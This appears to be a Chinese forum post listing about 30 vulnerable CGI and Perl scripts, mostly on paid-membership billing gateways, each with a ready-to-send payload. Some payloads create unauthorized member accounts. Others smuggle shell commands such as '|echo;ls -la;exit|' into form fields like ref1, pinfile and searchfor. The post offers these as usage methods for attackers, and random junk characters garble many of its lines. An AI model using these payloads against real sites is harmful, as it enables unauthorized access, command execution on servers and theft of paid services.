Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
# M2 T: g  J! L5 y! h# uusername=username&password=password

& U( ?+ R% u* T; [9 Q  A/index.cgi
" }2 c8 h! D3 u+ w7 h& E" \wei=ren&gen=command

. t, t8 l) d! x/ @% m% I, y8 Q/passmaster.cgi
) C3 H: l6 O. q: {2 K: ?! ?Action=Add&Username=Username&Password=Password
3 l0 P- B9 \+ _5 @) W8 l/ I
/accountcreate.cgi
- _5 M! Q3 O- qusername=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

5 M7 E3 o' y8 A. _/addusr.pl
2 q4 B7 v, E# L% p6 ^1 k, @/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

% [0 L4 d5 [$ w3 M/ccbill-local.asp
5 Q+ v0 S7 W# g2 D! x8 U2 ]post_values=username:password
1 V9 U% a6 Y( T  U0 w$ j
/count.cgi
pinfile=|echo;ls -la;exit|
/ h2 z- w$ @9 j
/recon.cgi
5 z3 _3 m7 H+ L$ W" }/ @/recon.cgi?search
; _0 s7 [' ]8 F4 {9 s+ [- Wsearchoption=1&searchfor=|echo;ls -al;exit|
! [# N- z/ p% H# w7 e. n
# w* O6 ]! H1 h2 U/verotelrum.pl
+ F% u, L) v7 M5 o4 l% }vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
$ `- _8 k0 M% B; \_browser_out=|echo;ls -la;exit;|

/modify.cgi
9 U' j. p- v7 n" u" Musername=username&password=password&expire=30
8 H" r0 t& Q- a- ~& F/ o
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
  N) o: W% C3 |' ~) [
; m4 c8 ^2 T8 o  o; z/gx9passwd.cgi
8 X# m+ F  M/ Q$ g" L& Qcmd=ADD&user=username&pass=password

2 o& F* v% o9 t* T% G: s/probecontrol.cgi
command=enable&username=username&password=password
: }2 x6 Q/ N% J$ v. o. F- |5 G
* t* v. W- I. ^/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
9 r% X  k* d, {! |
/htadd.pl
( k/ V. P% H- jconfigfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
1 r9 S6 C' D, b% ^) d
7 _7 Z6 k% E! N- H2 w. z, k( A/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
; V& V8 {3 m. X5 f8 q6 @2 ?command=add_member&username=username(EMAIL)&password=password(DES)
4 k3 Y; x" n( x$ t. o2 C
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
1 ~* x; E3 P' C( F; J) ?* D
9 N8 A# \. [1 Y- j  d* J& X/usercontrol.cgi
command=enable&username=USER&password=PASS

" e. O. E+ m6 P9 c' V/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

) v2 m. Q4 |# A' M! ?/addusr.pl
user=USER&pass=PASS&confirm=PASS

5 \( w; c: }" E0 Q( L1 A/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
" m' G2 Z6 v& A* W! A# x$ Q/env.cgi
ADD+;echo;pwd;exit

0 R# P/ \. X+ }- x) Q8 I- ^. s/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
. {) j5 i4 _- f6 G0 w0 ]searchoption=1&searchfor=|echo;ls%20-al;exit|
: |4 Y, i5 e. O0 E2 z: W
) k, J8 f* Y. E/ W2 |& b, Z/add.cgi
username=username&password=password&expire=30
# B0 s* p. v% N: K$ G- x5 x6 L
9 a" M5 G* J6 X& I==============================